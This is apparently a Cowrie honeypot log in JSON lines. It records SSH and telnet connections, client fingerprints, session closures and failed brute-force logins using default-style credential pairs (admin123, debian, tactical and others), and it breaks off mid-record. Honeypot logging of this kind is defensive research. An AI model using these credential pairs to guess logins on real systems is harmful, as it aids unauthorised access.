{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:07.157299Z","src_ip":"192.109.200.78","session":"4daa0477fd37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.944924354553223,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:07.171241Z","src_ip":"69.60.120.238","session":"aa6f43d583eb","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin123","password":"admin123","message":"login attempt [admin123/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:07.407730Z","src_ip":"192.109.200.78","session":"4daa0477fd37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.06952142715454,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:07.739485Z","src_ip":"172.104.129.70","session":"56d4392ec73d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9057674407959,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:08.413870Z","src_ip":"103.176.85.233","session":"7c0391c09ad6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:08.503343Z","src_ip":"192.109.200.78","session":"4daa0477fd37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.60692048072815,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:09.216666Z","src_ip":"103.176.85.233","session":"894e146b8a78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.560738563537598,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:10.108626Z","src_ip":"103.176.85.233","session":"d43eb74dc3b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83490514755249,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:10.546298Z","src_ip":"172.104.129.70","session":"637c5b0dabfb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44564,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fae79bc0ceb","protocol":"ssh","message":"New connection: 192.109.200.78:44564 (10.17.0.5:22) [session: 5fae79bc0ceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:11.146976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:11.151922Z","src_ip":"192.109.200.78","session":"5fae79bc0ceb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:11.235289Z","src_ip":"192.109.200.78","session":"5fae79bc0ceb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.89707899093628,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:11.554811Z","src_ip":"172.104.129.70","session":"0093ded61e26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.83.83.168","src_port":60328,"dst_ip":"159.203.135.109","dst_port":23,"session":"9556e567996c","protocol":"telnet","message":"New connection: 172.83.83.168:60328 (159.203.135.109:23) [session: 9556e567996c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:11.646958Z"}
{"eventid":"cowrie.login.failed","username":"elsearch","password":"elsearch","message":"login attempt [elsearch/elsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:11.727489Z","src_ip":"192.109.200.78","session":"5fae79bc0ceb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.02607297897339,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:12.083137Z","src_ip":"128.136.227.204","session":"8ff7ea76dd1d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.670814752578735,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:12.217349Z","src_ip":"103.176.85.233","session":"25265d2afc24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.149090051651,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:12.667084Z","src_ip":"103.176.85.233","session":"ecd0ff2d164c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.828304767608643,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:12.688328Z","src_ip":"66.113.160.81","session":"af1e0ccee6bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:12.811542Z","src_ip":"192.109.200.78","session":"5fae79bc0ceb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.59.230","src_port":42956,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b332a5ddbeb","protocol":"telnet","message":"New connection: 137.184.59.230:42956 (159.203.135.109:23) [session: 2b332a5ddbeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:13.035075Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.85.233","src_port":34454,"dst_ip":"159.203.135.109","dst_port":23,"session":"b05cbc99561b","protocol":"telnet","message":"New connection: 103.176.85.233:34454 (159.203.135.109:23) [session: b05cbc99561b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:13.278165Z"}
{"eventid":"cowrie.session.closed","duration":31.25341534614563,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:13.881371Z","src_ip":"103.176.85.233","session":"4ccd6dfc4061","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.361600399017334,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:14.278746Z","src_ip":"103.176.85.233","session":"abc95b99f6d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.557976245880127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:15.251539Z","src_ip":"103.176.85.233","session":"580682f0b79f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44576,"dst_ip":"10.17.0.5","dst_port":22,"session":"27e8f229c95d","protocol":"ssh","message":"New connection: 192.109.200.78:44576 (10.17.0.5:22) [session: 27e8f229c95d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:15.459199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:15.464031Z","src_ip":"192.109.200.78","session":"27e8f229c95d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:15.548641Z","src_ip":"192.109.200.78","session":"27e8f229c95d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.85.233","src_port":34456,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad8c17a3cac8","protocol":"telnet","message":"New connection: 103.176.85.233:34456 (159.203.135.109:23) [session: ad8c17a3cac8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:15.723882Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.85.233","src_port":34472,"dst_ip":"159.203.135.109","dst_port":23,"session":"926846cf4b28","protocol":"telnet","message":"New connection: 103.176.85.233:34472 (159.203.135.109:23) [session: 926846cf4b28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:15.765720Z"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian","message":"login attempt [debian/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:15.816544Z","src_ip":"192.109.200.78","session":"27e8f229c95d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.139.59.224","src_port":48036,"dst_ip":"159.203.135.109","dst_port":23,"session":"323d137540b5","protocol":"telnet","message":"New connection: 103.139.59.224:48036 (159.203.135.109:23) [session: 323d137540b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:15.856985Z"}
{"eventid":"cowrie.session.closed","duration":31.330992698669434,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:15.878068Z","src_ip":"103.176.85.233","session":"6c7309ec3e54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.863972187042236,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:16.599946Z","src_ip":"172.104.129.70","session":"a764411fedf1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.865473985671997,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:16.648861Z","src_ip":"185.216.203.48","session":"4121db9aeb49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:16.946631Z","src_ip":"192.109.200.78","session":"27e8f229c95d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.6112859249115,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:17.152632Z","src_ip":"62.210.114.58","session":"a8e27597ba84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.684146881103516,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:17.181353Z","src_ip":"103.176.85.233","session":"95959bdce0ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.573266744613647,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:17.434337Z","src_ip":"103.176.85.233","session":"f3a380adfff1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94617199897766,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:17.492057Z","src_ip":"103.176.85.233","session":"ad583fd2d5a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.85.233","src_port":52514,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a396ea2c08d","protocol":"telnet","message":"New connection: 103.176.85.233:52514 (159.203.135.109:23) [session: 6a396ea2c08d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:17.666477Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.175.50","src_port":37546,"dst_ip":"159.203.135.109","dst_port":23,"session":"4046755c2a7a","protocol":"telnet","message":"New connection: 31.186.175.50:37546 (159.203.135.109:23) [session: 4046755c2a7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:17.688620Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.124.226","src_port":39544,"dst_ip":"159.203.135.109","dst_port":23,"session":"295788725f37","protocol":"telnet","message":"New connection: 198.50.124.226:39544 (159.203.135.109:23) [session: 295788725f37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:18.177927Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.85.233","src_port":52526,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e50732f1c77","protocol":"telnet","message":"New connection: 103.176.85.233:52526 (159.203.135.109:23) [session: 7e50732f1c77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:18.935074Z"}
{"eventid":"cowrie.session.closed","duration":30.55640459060669,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:19.120485Z","src_ip":"103.176.85.233","session":"481a86ca736a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.85.233","src_port":52530,"dst_ip":"159.203.135.109","dst_port":23,"session":"db6af44f7397","protocol":"telnet","message":"New connection: 103.176.85.233:52530 (159.203.135.109:23) [session: db6af44f7397]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:19.194814Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.59.230","src_port":43718,"dst_ip":"159.203.135.109","dst_port":23,"session":"e13b00b337a7","protocol":"telnet","message":"New connection: 137.184.59.230:43718 (159.203.135.109:23) [session: e13b00b337a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:19.350951Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.85.233","src_port":52544,"dst_ip":"159.203.135.109","dst_port":23,"session":"a53e9bcd99f5","protocol":"telnet","message":"New connection: 103.176.85.233:52544 (159.203.135.109:23) [session: a53e9bcd99f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:19.558235Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44088,"dst_ip":"10.17.0.5","dst_port":22,"session":"3bcec659724f","protocol":"ssh","message":"New connection: 192.109.200.78:44088 (10.17.0.5:22) [session: 3bcec659724f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:19.650535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:19.655373Z","src_ip":"192.109.200.78","session":"3bcec659724f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:19.738063Z","src_ip":"192.109.200.78","session":"3bcec659724f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tactical","password":"tactical","message":"login attempt [tactical/tactical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:19.987925Z","src_ip":"192.109.200.78","session":"3bcec659724f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.81951403617859,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:20.377356Z","src_ip":"95.217.230.214","session":"f45bdecb5d6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.85.233","src_port":52560,"dst_ip":"159.203.135.109","dst_port":23,"session":"a73fd6e7cc1b","protocol":"telnet","message":"New connection: 103.176.85.233:52560 (159.203.135.109:23) [session: a73fd6e7cc1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:20.641876Z"}
{"eventid":"cowrie.session.closed","duration":30.928657293319702,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:20.682220Z","src_ip":"66.113.160.81","session":"1a341b75b2a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:21.072523Z","src_ip":"192.109.200.78","session":"3bcec659724f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.98471760749817,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:21.154133Z","src_ip":"69.60.120.238","session":"3038cb480e6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.602689743041992,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:22.132291Z","src_ip":"103.176.85.233","session":"1faa2286ad4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.802155256271362,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:23.322613Z","src_ip":"103.176.85.233","session":"c8a9f8bf17d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44100,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f80e302176e","protocol":"ssh","message":"New connection: 192.109.200.78:44100 (10.17.0.5:22) [session: 4f80e302176e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:23.614481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:23.619082Z","src_ip":"192.109.200.78","session":"4f80e302176e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr